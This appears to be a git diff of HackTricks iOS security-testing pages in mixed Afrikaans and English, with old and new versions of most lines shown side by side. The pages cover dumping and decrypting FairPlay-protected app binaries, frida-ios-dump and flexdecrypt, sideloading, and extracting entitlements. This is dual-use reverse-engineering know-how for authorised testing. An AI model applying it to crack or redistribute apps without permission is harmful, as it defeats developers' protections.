**Interaktiewe Skulp met Objection:** Deur objection te begin, verkry jy toegang tot die Bundel-gids van 'n toepassing. Van hier af kan jy na die toepassing se Dokumente-gids navigeer en lêers bestuur, insluitend aflaai en oplaai na en van die iOS-toestel.
|
||||
**Interaktiewe Skulp met Objection:** Die bekendstelling van objection bied toegang tot die Bundle-gids van 'n app. Van hier af kan jy na die app se Dokumente-gids navigeer en lêers bestuur, insluitend die aflaai en oplaai daarvan na en van die iOS-toestel.
|
||||
```bash
|
||||
objection --gadget com.apple.mobilesafari explorer
|
||||
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
||||
file download <filename>
|
||||
```
|
||||
## **Verkryging en Uitpak van Programme**
|
||||
## **Verkryging en Uittrekking van Apps**
|
||||
|
||||
### **Verkryging van die IPA-lêer**
|
||||
|
||||
**Over-The-Air (OTA) Verspreidingskoppeling:** Programme wat vir toetsing via OTA versprei word, kan afgelaai word deur die ITMS-diens bate-aflaaier-hulpmiddel te gebruik. Hierdie hulpmiddel word geïnstalleer via npm en word gebruik om die IPA-lêer lokaal te stoor.
|
||||
**Over-The-Air (OTA) Verspreidingskakel:** Apps wat vir toetsing via OTA versprei word, kan afgelaai word met die ITMS-dienste bates aflaaier hulpmiddel, wat via npm geïnstalleer word en gebruik word om die IPA-lêer plaaslik te stoor.
|
||||
```bash
|
||||
npm install -g itms-services
|
||||
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
|
||||
```
|
||||
### **Uittreksel van die App Binêre**
|
||||
|
||||
1. **Van 'n IPA:** Ontpak die IPA om toegang te verkry tot die gedekripteerde app binêre.
|
||||
2. **Van 'n Jailbroken-toestel:** Installeer die app en onttrek die gedekripteerde binêre vanaf die geheue.
|
||||
1. **Van 'n IPA:** Unzip die IPA om toegang te verkry tot die gedekripteerde app binêre.
|
||||
2. **Van 'n Jailbroken Toestel:** Installeer die app en ekstraheer die gedekripteerde binêre uit geheue.
|
||||
|
||||
### **Dekripsieproses**
|
||||
|
||||
**Oorsig van Handmatige Dekripsie:** iOS-app-binêres word deur Apple versleutel met behulp van FairPlay. Om dit te herontwerp, moet die gedekripteerde binêre uit die geheue uitgelek word. Die dekripsieproses behels die kontroleer van die PIE-vlag, die aanpassing van geheuevlaggies, die identifisering van die versleutelde gedeelte, en dan die uitlek en vervanging van hierdie gedeelte met sy gedekripteerde vorm.
|
||||
**Handmatige Dekripsie Oorsig:** iOS app binêre is deur Apple met FairPlay geënkripteer. Om om te keer, moet 'n mens die gedekripteerde binêre uit geheue dump. Die dekripsieproses behels die nagaan van die PIE-vlag, die aanpassing van geheuevlagte, die identifisering van die geënkripteerde afdeling, en dan die dump en vervanging van hierdie afdeling met sy gedekripteerde vorm.
|
||||
|
||||
**Kontroleer en Wysig PIE-vlag:**
|
||||
**Nagaan en Wysig PIE-vlag:**
|
||||
```bash
|
||||
otool -Vh Original_App
|
||||
python change_macho_flags.py --no-pie Original_App
|
||||
otool -Vh Hello_World
|
||||
```
|
||||
**Identifiseer Versleutelde Seksie en Dump Geheue:**
|
||||
**Identifying Encrypted Section and Dumping Memory:**
|
||||
|
||||
Bepaal die begin- en eindadresse van die versleutelde sekisie deur `otool` te gebruik en dump die geheue van die jailbroken toestel met behulp van gdb.
|
||||
Bepaal die begin- en eindadresse van die versleutelde afdeling met behulp van `otool` en dump die geheue vanaf die jailbreak-toestel met behulp van gdb.
|
||||
```bash
|
||||
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
|
||||
dump memory dump.bin 0x8000 0x10a4000
|
||||
```
|
||||
**Oorskryf die Versleutelde Seksie:**
|
||||
**Oorskrywing van die Gekodeerde Afdeling:**
|
||||
|
||||
Vervang die versleutelde seksie in die oorspronklike app binêre lêer met die gedekripteerde dump.
|
||||
Vervang die gekodeerde afdeling in die oorspronklike app-binary met die gedekodeerde dump.
|
||||
```bash
|
||||
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
|
||||
```
|
||||
**Finale Dekripsie:** Wysig die metadata van die binêre lêer om aan te dui dat daar geen enkripsie is nie deur gebruik te maak van hulpmiddels soos **MachOView**, deur die `cryptid` in te stel op 0.
|
||||
**Finalisering van Ontsleuteling:** Pas die binêre se metadata aan om die afwesigheid van versleuteling aan te dui met behulp van gereedskap soos **MachOView**, en stel die `cryptid` op 0.
|
||||
|
||||
### **Dekripsie (Outomaties)**
|
||||
### **Ontsleuteling (Outomaties)**
|
||||
|
||||
#### **frida-ios-dump**
|
||||
Die [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) hulpmiddel word gebruik om **toepassings outomaties te dekripteer en te onttrek** vanaf iOS-toestelle. Aanvanklik moet `dump.py` gekonfigureer word om met die iOS-toestel te verbind, wat gedoen kan word deur middel van localhost op poort 2222 via **iproxy** of direk deur die IP-adres en poort van die toestel.
|
||||
Die [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) gereedskap word gebruik om **outomaties apps te ontsleutel en te onttrek** van iOS-toestelle. Aanvanklik moet 'n mens `dump.py` konfigureer om met die iOS-toestel te verbind, wat gedoen kan word deur localhost op poort 2222 via **iproxy** of direk via die toestel se IP-adres en poort.
|
||||
|
||||
Toepassings wat op die toestel geïnstalleer is, kan gelys word met die opdrag:
|
||||
```bash
|
||||
$ python dump.py -l
|
||||
```
|
||||
Om 'n spesifieke app, soos Telegram, te dump, word die volgende bevel gebruik:
|
||||
Om 'n spesifieke app, soos Telegram, te dump, word die volgende opdrag gebruik:
|
||||
```bash
|
||||
$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
|
||||
```
|
||||
Hierdie bevel begin die app-dump, wat lei tot die skepping van 'n `Telegram.ipa` lêer in die huidige gids. Hierdie proses is geskik vir jailbroken toestelle, aangesien ongetekende of vals-ondertekende programme herïnstalleer kan word met behulp van hulpmiddels soos [**ios-deploy**](https://github.com/ios-control/ios-deploy).
|
||||
Hierdie opdrag begin die app dump, wat lei tot die skepping van 'n `Telegram.ipa` lêer in die huidige gids. Hierdie proses is geskik vir jailbroken toestelle, aangesien ongetekende of vals-getekende apps herinstalleer kan word met behulp van gereedskap soos [**ios-deploy**](https://github.com/ios-control/ios-deploy).
|
||||
|
||||
#### **flexdecrypt**
|
||||
Die [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) hulpmiddel, saam met sy omhulsel [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), maak dit moontlik om IPA-lêers uit geïnstalleerde programme te onttrek. Installasie-opdragte vir **flexdecrypt** op die toestel sluit die aflaai en installeer van die `.deb`-pakket in. **flexdump** kan gebruik word om programme te lys en te dump, soos getoon in die volgende opdragte:
|
||||
Die [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) gereedskap, saam met sy wrapper [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), maak dit moontlik om IPA-lêers uit geïnstalleerde toepassings te onttrek. Installasie-opdragte vir **flexdecrypt** op die toestel sluit die aflaai en installasie van die `.deb` pakket in. **flexdump** kan gebruik word om apps te lys en te dump, soos in die onderstaande opdragte getoon:
|
||||
```bash
|
||||
apt install zip unzip
|
||||
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
|
||||
|
@ -141,53 +142,54 @@ flexdump list
|
|||
flexdump dump Twitter.app
|
||||
```
|
||||
#### **bagbak**
|
||||
[**bagbak**](https://github.com/ChiChou/bagbak), nog 'n Frida-gebaseerde instrument, vereis 'n jailbroken toestel vir app dekripsie:
|
||||
[**bagbak**](https://github.com/ChiChou/bagbak), 'n ander Frida-gebaseerde hulpmiddel, vereis 'n jailbreak-toestel vir app-dekriptering:
|
||||
```bash
|
||||
bagbak --raw Chrome
|
||||
```
|
||||
#### **r2flutch**
|
||||
**r2flutch**, wat beide radare en frida gebruik, dien vir app dekripsie en dump. Meer inligting kan gevind word op sy [**GitHub-bladsy**](https://github.com/as0ler/r2flutch).
|
||||
**r2flutch**, wat beide radare en frida gebruik, dien vir app-dekriptering en dumping. Meer inligting kan op sy [**GitHub-bladsy**](https://github.com/as0ler/r2flutch) gevind word.
|
||||
|
||||
### **Installeer Apps**
|
||||
|
||||
**Sideloading** verwys na die installeer van programme buite die amptelike App Store. Hierdie proses word hanteer deur die **installd daemon** en vereis dat programme onderteken moet word met 'n Apple-uitgereikte sertifikaat. Gehackte toestelle kan hierdie proses omseil deur middel van **AppSync**, wat die installasie van vals-ondertekende IPA-pakette moontlik maak.
|
||||
**Sideloading** verwys na die installering van toepassings buite die amptelike App Store. Hierdie proses word hanteer deur die **installd daemon** en vereis dat apps onderteken word met 'n Apple-uitgereikte sertifikaat. Jailbroken toestelle kan dit omseil deur **AppSync**, wat die installering van vals-ondertekende IPA-pakkette moontlik maak.
|
||||
|
||||
#### **Sideloading-hulpmiddels**
|
||||
#### **Sideloading Gereedskap**
|
||||
|
||||
- **Cydia Impactor**: 'n Hulpmiddel vir die onderteken en installeer van IPA-lêers op iOS en APK-lêers op Android. Gidse en probleemoplossing kan gevind word op [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
|
||||
- **Cydia Impactor**: 'n Gereedskap vir die ondertekening en installering van IPA-lêers op iOS en APK-lêers op Android. Gidsen en probleemoplossing kan op [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/) gevind word.
|
||||
|
||||
- **libimobiledevice**: 'n Biblioteek vir Linux en macOS om met iOS-toestelle te kommunikeer. Installasie-opdragte en gebruiksvoorbeelde vir ideviceinstaller word verskaf vir die installeer van programme via USB.
|
||||
- **libimobiledevice**: 'n Biblioteek vir Linux en macOS om met iOS-toestelle te kommunikeer. Installasie-opdragte en gebruiksvoorbeelde vir ideviceinstaller word verskaf vir die installering van apps oor USB.
|
||||
|
||||
- **ipainstaller**: Hierdie opdraglynhulpmiddel maak direkte app-installasie op iOS-toestelle moontlik.
|
||||
- **ipainstaller**: Hierdie opdraglyn-gereedskap laat direkte app-installering op iOS-toestelle toe.
|
||||
|
||||
- **ios-deploy**: Vir macOS-gebruikers installeer ios-deploy iOS-apps vanaf die opdraglyn. Die IPA-lêer word uitgepakte en die `-m` vlag word gebruik vir direkte app-lancering as deel van die proses.
|
||||
- **ios-deploy**: Vir macOS-gebruikers installeer ios-deploy iOS-apps vanaf die opdraglyn. Ontzip van die IPA en die gebruik van die `-m` vlag vir direkte app-lancering is deel van die proses.
|
||||
|
||||
- **Xcode**: Gebruik Xcode om programme te installeer deur na **Window/Devices and Simulators** te navigeer en die app by **Installed Apps** te voeg.
|
||||
- **Xcode**: Gebruik Xcode om apps te installeer deur na **Window/Devices and Simulators** te navigeer en die app by **Installed Apps** te voeg.
|
||||
|
||||
#### **Toelaat van Toepassingsinstallasie op Nie-iPad-toestelle**
|
||||
Om iPad-spesifieke programme op iPhone- of iPod touch-toestelle te installeer, moet die **UIDeviceFamily**-waarde in die **Info.plist**-lêer verander word na **1**. Hierdie wysiging vereis egter dat die IPA-lêer heronderteken word as gevolg van handtekeningvalideringskontroles.
|
||||
#### **Laat Toepassing Installasie op Nie-iPad Toestelle toe**
|
||||
Om iPad-spesifieke toepassings op iPhone of iPod touch toestelle te installeer, moet die **UIDeviceFamily** waarde in die **Info.plist** lêer verander word na **1**. Hierdie wysiging vereis egter dat die IPA-lêer weer onderteken word weens handtekeningvalideringstoets.
|
||||
|
||||
**Let op**: Hierdie metode kan misluk as die toepassing funksies vereis wat eksklusief is vir nuwer iPad-modelle terwyl 'n ouer iPhone of iPod touch gebruik word.
|
||||
**Let wel**: Hierdie metode mag misluk as die toepassing vermoëns vereis wat eksklusief is vir nuwer iPad-modelle terwyl 'n ouer iPhone of iPod touch gebruik word.
|
||||
|
||||
|
||||
|
||||
## Verwysings
|
||||
## References
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
|
||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
|
||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
|
||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
|
||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,32 @@
|
|||
# Uittreksel van Toekennings uit Saamgestelde Toepassing
|
||||
# Extracting Entitlements from Compiled Application
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Opsomming van die bladsy [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
|
||||
Samevatting van die bladsy [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
|
||||
|
||||
### **Uittreksel van Toekennings en Mobiele Voorsieningslêers**
|
||||
### **Extracting Entitlements and Mobile Provision Files**
|
||||
|
||||
Wanneer jy te doen het met 'n app se IPA of 'n geïnstalleerde app op 'n jailbroken-toestel, mag dit nie moontlik wees om `.entitlements`-lêers of die `embedded.mobileprovision`-lêer direk te vind nie. Tog kan toekennings-eienskappe-lyste steeds uit die app-binêre lêer gehaal word deur die prosedures te volg wat in die hoofstuk "iOS Basiese Sekuriteitstoetsing" uiteengesit word, veral die afdeling "Die App-binêre bekom".
|
||||
Wanneer jy met 'n app se IPA of 'n geïnstalleerde app op 'n jailbroken toestel werk, mag dit nie moontlik wees om `.entitlements`-lêers of die `embedded.mobileprovision`-lêer direk te vind nie. Dit is egter steeds moontlik om die entitlements eiendomslijste uit die app-binary te onttrek, volgens die prosedures uiteengesit in die "iOS Basic Security Testing" hoofstuk, veral die "Acquiring the App Binary" afdeling.
|
||||
|
||||
Selfs met versleutelde binêre lêers kan sekere stappe gebruik word om hierdie lêers uit te trek. As hierdie stappe misluk, mag gereedskap soos Clutch (as dit versoenbaar is met die iOS-weergawe), frida-ios-dump, of soortgelyke hulpmiddels benodig word om die app te ontsluit en uit te trek.
|
||||
Selfs met versleutelde binaries kan sekere stappe gebruik word om hierdie lêers te onttrek. Indien hierdie stappe misluk, kan gereedskap soos Clutch (indien dit met die iOS weergawe versoenbaar is), frida-ios-dump, of soortgelyke nutsmiddels benodig word om die app te ontsleutel en onttrek.
|
||||
|
||||
#### **Uittreksel van die Toekennings Plist uit die App-binêre**
|
||||
#### **Extracting the Entitlements Plist from the App Binary**
|
||||
|
||||
Met die app-binêre lêer toeganklik op 'n rekenaar, kan **binwalk** gebruik word om alle XML-lêers uit te trek. Die onderstaande opdrag demonstreer hoe om dit te doen:
|
||||
Met die app-binary toeganklik op 'n rekenaar, kan **binwalk** gebruik word om alle XML-lêers te onttrek. Die onderstaande opdrag demonstreer hoe om dit te doen:
|
||||
```bash
|
||||
$ binwalk -e -y=xml ./Telegram\ X
|
||||
|
||||
|
@ -34,33 +35,19 @@ DECIMAL HEXADECIMAL DESCRIPTION
|
|||
1430180 0x15D2A4 XML document, version: "1.0"
|
||||
1458814 0x16427E XML document, version: "1.0"
|
||||
```
|
||||
Alternatiewelik kan **radare2** gebruik word om stilweg 'n opdrag uit te voer en af te sluit, deur te soek na alle strings in die app binêre lêer wat "PropertyList" bevat:
|
||||
Alternatiewelik kan **radare2** gebruik word om stilweg 'n opdrag uit te voer en te verlaat, terwyl daar gesoek word na alle strings in die app-binary wat "PropertyList" bevat:
|
||||
```bash
|
||||
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
|
||||
|
||||
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>...
|
||||
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>...
|
||||
```
|
||||
Beide metodes, binwalk en radare2, maak die ekstraksie van `plist` lêers moontlik, met 'n inspeksie van die eerste een (0x0015d2a4) wat 'n suksesvolle herwinning van die [oorspronklike entitlements-lêer van Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements) onthul.
|
||||
Both methods, binwalk en radare2, stel die ekstraksie van `plist`-lêers in staat, met 'n inspeksie van die eerste een (0x0015d2a4) wat 'n suksesvolle herstel van die [oorspronklike regte lêer van Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements) onthul.
|
||||
|
||||
Vir app-binêre lêers wat op jailbroken-toestelle toegang verkry (bv. via SSH), kan die **grep**-opdrag met die `-a, --text` vlag gebruik word om alle lêers as ASCII-teks te hanteer:
|
||||
Vir app-binaries wat op jailbreak-toestelle verkry word (bv. via SSH), kan die **grep** opdrag met die `-a, --text` vlag gebruik word om alle lêers as ASCII-teks te behandel:
|
||||
```bash
|
||||
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
|
||||
```
|
||||
Die aanpassing van die `-A num, --after-context=num` vlag maak dit moontlik om meer of minder lyne te vertoon. Hierdie metode is selfs bruikbaar vir versleutelde app-binêre lêers en is geverifieer teen verskeie App Store-apps. Gereedskap wat vroeër genoem is, kan ook gebruik word op jailbroken iOS-toestelle vir soortgelyke doeleindes.
|
||||
Adjustering van die `-A num, --after-context=num` vlag laat toe dat meer of minder lyne vertoon word. Hierdie metode is lewensvatbaar selfs vir versleutelde app-binaries en is teen verskeie App Store-apps geverifieer. Gereedskap wat vroeër genoem is, kan ook op jailbreak iOS-toestelle vir soortgelyke doeleindes gebruik word.
|
||||
|
||||
**Nota**: Direkte gebruik van die `strings`-opdrag word nie aanbeveel vir hierdie taak nie as gevolg van sy beperkings om relevante inligting te vind. Dit is raadsaam om in plaas daarvan grep met die `-a`-vlag op die binêre lêer te gebruik of radare2 (`izz`)/rabin2 (`-zz`) te gebruik vir meer doeltreffende resultate.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
|
||||
</details>
|
||||
**Nota**: Direkte gebruik van die `strings` opdrag word nie aanbeveel vir hierdie taak nie weens sy beperkings in die vind van relevante inligting. In plaas daarvan, is dit raadsaam om grep met die `-a` vlag op die binêre te gebruik of radare2 (`izz`)/rabin2 (`-zz`) te benut vir meer effektiewe resultate.
|
||||
|
|
|
@ -1,77 +1,79 @@
|
|||
# iOS App-uitbreidings
|
||||
# iOS App Extensions
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
App-uitbreidings verbeter die funksionaliteit van programme deur hulle in staat te stel om met ander programme of die stelsel te kommunikeer en aangepaste funksies of inhoud te bied. Hierdie uitbreidings sluit in:
|
||||
App-uitbreidings verbeter die funksionaliteit van toepassings deur hulle in staat te stel om met ander toepassings of die stelsel te kommunikeer, wat pasgemaakte funksies of inhoud bied. Hierdie uitbreidings sluit in:
|
||||
|
||||
- **Aangepaste Sleutelbord**: Bied 'n unieke sleutelbord in alle programme, wat die verstek iOS-sleutelbord vervang.
|
||||
- **Deel**: Maak dit moontlik om te deel na sosiale netwerke of direk met ander.
|
||||
- **Vandag (Widgets)**: Lees inhoud of voer vinnige take uit vanuit die Vandag-aansig van die Kennisgewingsentrum.
|
||||
- **Pasgemaakte Sleutelbord**: Bied 'n unieke sleutelbord oor alle toepassings, wat die standaard iOS-sleutelbord vervang.
|
||||
- **Deel**: Maak dit moontlik om te deel met sosiale netwerke of met ander direk.
|
||||
- **Vandag (Widgets)**: Lewer inhoud of voer take vinnig uit vanaf die Kennisgewing Sentrum se Vandag-weergave.
|
||||
|
||||
Wanneer 'n gebruiker met hierdie uitbreidings interaksie aangaan, soos om teks van 'n gasheerprogram te deel, verwerk die uitbreiding hierdie inset binne sy konteks en maak gebruik van die gedeelde inligting om sy taak uit te voer, soos beskryf in Apple se dokumentasie.
|
||||
Wanneer 'n gebruiker met hierdie uitbreidings omgaan, soos om teks van 'n gasheer-toepassing te deel, verwerk die uitbreiding hierdie insette binne sy konteks, wat die gedeelde inligting benut om sy taak uit te voer, soos in Apple se dokumentasie uiteengesit.
|
||||
|
||||
### **Sekuriteits-oorwegings**
|
||||
### **Sekuriteits oorwegings**
|
||||
|
||||
Belangrike sekuriteitsaspekte sluit in:
|
||||
|
||||
- Uitbreidings en hul bevatte programme kommunikeer via interproseskommunikasie, nie direk nie.
|
||||
- Die **Vandag-widget** is uniek in die sin dat dit sy program kan versoek om oop te maak deur middel van 'n spesifieke metode.
|
||||
- Gedeelde data-toegang word toegelaat binne 'n private houer, maar direkte toegang is beperk.
|
||||
- Sekere API's, insluitend HealthKit, is verbode vir app-uitbreidings, wat ook nie langdurige take kan begin nie, die kamera of mikrofoon kan gebruik nie, behalwe vir iMessage-uitbreidings nie.
|
||||
- Uitbreidings en hul bevatende toepassings kommunikeer via inter-proses kommunikasie, nie direk nie.
|
||||
